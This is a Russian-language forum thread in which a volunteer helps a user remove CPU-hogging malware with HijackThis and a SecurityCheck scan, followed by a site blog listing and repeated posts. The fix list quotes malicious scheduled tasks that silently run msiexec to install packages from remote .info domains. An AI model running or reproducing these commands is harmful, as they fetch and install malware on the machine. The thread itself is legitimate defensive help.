Загрузка процессора 100%, при открытии диспетчера задач уходит

@nazarische · Регистрация: 07.11.2018

Студворк — интернет-сервис помощи студентам

Здравствуйте, проблема у меня та же что и у многих - словил что-то, что грузит сильно процессор. Логи сделал, от себя добавлю что программой System explorer в диспетчере задач видно, что запускается процесс setup.exe, который при входе в диспетчер задач Windows сразу закрывается, появляется этот процесс где-то в промежутке от 30-40 минут, и когда это происходит при попытках запустить AVZ, Autologger, FRST, программы зависают ( не знаю с этим связано или нет, но даже если в браузере ( перепробовал не один ) написать в поисковике эти названия, браузер также зависает, хотя в остальном всё работает ), потому чтобы успешно запустить Autologger мне надо было это сделать сразу после загрузки Windows

@Sandor · 08.11.2018, 09:45

Здравствуйте!

Внимание! Рекомендации написаны специально для пользователя nazarische. Если рекомендации написаны не для вас, не используйте их - это может повредить вашей системе.
Если у вас похожая проблема - создайте тему в разделе Лечение компьютерных вирусов и выполните Правила запроса о помощи.
________________________________________ ______________

1. Пофиксите в HijackThis следующие строчки:

Code
O21 - HKLM\..\ShellIconOverlayIdentifiers\ MEGA (Pending): (no name) - {056D528D-CE28-4194-9BA3-BA2E9197FF8C} - (no file)
O21 - HKLM\..\ShellIconOverlayIdentifiers\ MEGA (Synced): (no name) - {05B38830-F4E9-4329-978B-1DD28605D202} - (no file)
O21 - HKLM\..\ShellIconOverlayIdentifiers\ MEGA (Syncing): (no name) - {0596C850-7BDD-4C9D-AFDF-873BE6890637} - (no file)
O21 - HKLM\..\ShellIconOverlayIdentifiers\00asw: (no name) - {472083B0-C522-11CF-8763-00608CC02F24} - (no file)
O21-32 - HKLM\..\ShellIconOverlayIdentifiers\ MEGA (Pending): (no name) - {056D528D-CE28-4194-9BA3-BA2E9197FF8C} - (no file)
O21-32 - HKLM\..\ShellIconOverlayIdentifiers\ MEGA (Synced): (no name) - {05B38830-F4E9-4329-978B-1DD28605D202} - (no file)
O21-32 - HKLM\..\ShellIconOverlayIdentifiers\ MEGA (Syncing): (no name) - {0596C850-7BDD-4C9D-AFDF-873BE6890637} - (no file)
O22 - Task: \Microsoft\QuickLaunch - C:\ProgramData\WindowsMenu\westat.exe /quicklaunch (file missing)
O22 - Task: \Microsoft\Windows\Starter - C:\ProgramData\WindowsMenu\westat.exe /updatecheck (file missing)
O22 - Task: {AB8F7817-7FCC-6B4A-DC72-CE5BF08866CE} - C:\WINDOWS\system32\msiexec.exe -package [url]https://refreshnerer1510rb.info/Ji4noDFGpkM.LiI[/url] /q
O22 - Task: {D554B613-99FC-E200-FCD0-0CEC1385E80E} - C:\Users\ПК\IuAEYONta.exe -q /package [url]https://refreshnerer1510.info/08H7OXf90n1.356[/url]

2. Перезагрузите компьютер и соберите новый CollectionLog.

@nazarische · 09.11.2018, 14:21 **[ТС]**

Вот

@Sandor · 09.11.2018, 21:29

Изменения есть?

@nazarische · 11.11.2018, 17:05 **[ТС]**

Пока что все хорошо, большое вам спасибо)

@Sandor · 11.11.2018, 23:27

Проверьте уязвимые места:

Загрузите SecurityCheck by glax24 & Severnyj и сохраните утилиту на Рабочем столе
Запустите двойным щелчком мыши (если Вы используете Windows XP) или из меню по щелчку правой кнопки мыши Запустить от имени администратора (если Вы используете Windows Vista/7/8/8.1/10)
Если увидите предупреждение от вашего фаервола или SmartScreen относительно программы SecurityCheck, не блокируйте ее работу
Дождитесь окончания сканирования, откроется лог в блокноте с именем SecurityCheck.txt
Если Вы закрыли Блокнот, то найти этот файл можно в корне системного диска в папке с именем SecurityCheck, например C:\SecurityCheck\SecurityCheck.txt
Прикрепите этот файл к своему следующему сообщению.

@nazarische · 12.11.2018, 11:31 **[ТС]**

вот

@Sandor · 12.11.2018, 11:54

--------------------------- [ OtherUtilities ] ----------------------------
WinRAR 5.00 (64-разрядная) v.5.00.0 Внимание! Скачать обновления
--------------------------------- [ P2P ] ---------------------------------
µTorrent v.3.5.4.44632 Внимание! Клиент сети P2P! Может содержать рекламные модули или использоваться для скачивания нежелательного контента.

Рекомендации после удаления вредоносного ПО

Новые блоги и статьи Все статьи Все блоги /
Новый CodeBlocs. Версия 25.03 palva 04.01.2026 Оказывается, недавно вышла новая версия CodeBlocks за номером 25. 03. Когда-то давно я возился с только что вышедшей тогда версией 20. 03. С тех пор я давно снёс всё с компьютера и забыл. Теперь. . .	Модель микоризы: классовый агентный подход anaschu 02.01.2026 Раньше это было два гриба и бактерия. Теперь три гриба, растение. И на уровне агентов добавится между грибами или бактериями взаимодействий. До того я пробовал подход через многомерные массивы,. . .	Учёным и волонтёрам проекта «Einstein@home» удалось обнаружить четыре гамма-лучевых пульсара в джете Млечного Пути Programma_Boinc 01.01.2026 Учёным и волонтёрам проекта «Einstein@home» удалось обнаружить четыре гамма-лучевых пульсара в джете Млечного Пути Сочетание глобально распределённой вычислительной мощности и инновационных. . .	Советы по крайней бережливости. Внимание, это ОЧЕНЬ длинный пост. Programma_Boinc 28.12.2025 Советы по крайней бережливости. Внимание, это ОЧЕНЬ длинный пост. Налог на собак: https:/ / ********/ gallery/ V06K53e Финансовый отчет в Excel: https:/ / ********/ gallery/ bKBkQFf Пост отсюда. . .	Кто-нибудь знает, где можно бесплатно получить настольный компьютер или ноутбук? США. Programma_Boinc 26.12.2025 Нашел на реддите интересную статью под названием Anyone know where to get a free Desktop or Laptop? Ниже её машинный перевод. После долгих разбирательств я наконец-то вернула себе. . .
Thinkpad X220 Tablet — это лучший бюджетный ноутбук для учёбы, точка. Programma_Boinc 23.12.2025 Рецензия / Мнение/ Перевод Нашел на реддите интересную статью под названием The Thinkpad X220 Tablet is the best budget school laptop period . Ниже её машинный перевод. Thinkpad X220 Tablet —. . .	PhpStorm 2025.3: WSL Terminal всегда стартует в ~ and_y87 14.12.2025 PhpStorm 2025. 3: WSL Terminal всегда стартует в ~ (home), игнорируя директорию проекта Симптом: После обновления до PhpStorm 2025. 3 встроенный терминал WSL открывается в домашней директории. . .	Как объединить две одинаковые БД Access с разными данными VikBal 11.12.2025 Помогите пожалуйста !! Как объединить 2 одинаковые БД Access с разными данными.	Новый ноутбук volvo 07.12.2025 Всем привет. По скидке в "черную пятницу" взял себе новый ноутбук Lenovo ThinkBook 16 G7 на Амазоне: Ryzen 5 7533HS 64 Gb DDR5 1Tb NVMe 16" Full HD Display Win11 Pro	Музыка, написанная Искусственным Интеллектом volvo 04.12.2025 Всем привет. Некоторое время назад меня заинтересовало, что уже умеет ИИ в плане написания музыки для песен, и, собственно, исполнения этих самых песен. Стихов у нас много, уже вышли 4 книги, еще 3. . .

@Sandor 22433 / 15890 / 3076 Регистрация: 08.10.2012 Сообщений: 64,745
	09.11.2018, 21:29
	Изменения есть? 0

@nazarische 0 / 0 / 0 Регистрация: 07.11.2018 Сообщений: 4
	11.11.2018, 17:05 [ТС]
	Пока что все хорошо, большое вам спасибо) 0

@Sandor 22433 / 15890 / 3076 Регистрация: 08.10.2012 Сообщений: 64,745
	11.11.2018, 23:27
	Проверьте уязвимые места: Загрузите SecurityCheck by glax24 & Severnyj и сохраните утилиту на Рабочем столе Запустите двойным щелчком мыши (если Вы используете Windows XP) или из меню по щелчку правой кнопки мыши Запустить от имени администратора (если Вы используете Windows Vista/7/8/8.1/10) Если увидите предупреждение от вашего фаервола или SmartScreen относительно программы SecurityCheck, не блокируйте ее работу Дождитесь окончания сканирования, откроется лог в блокноте с именем SecurityCheck.txt Если Вы закрыли Блокнот, то найти этот файл можно в корне системного диска в папке с именем SecurityCheck, например C:\SecurityCheck\SecurityCheck.txt Прикрепите этот файл к своему следующему сообщению. 0

@Sandor 22433 / 15890 / 3076 Регистрация: 08.10.2012 Сообщений: 64,745
	12.11.2018, 11:54
	--------------------------- [ OtherUtilities ] ---------------------------- WinRAR 5.00 (64-разрядная) v.5.00.0 Внимание! Скачать обновления --------------------------------- [ P2P ] --------------------------------- µTorrent v.3.5.4.44632 Внимание! Клиент сети P2P! Может содержать рекламные модули или использоваться для скачивания нежелательного контента. Рекомендации после удаления вредоносного ПО 0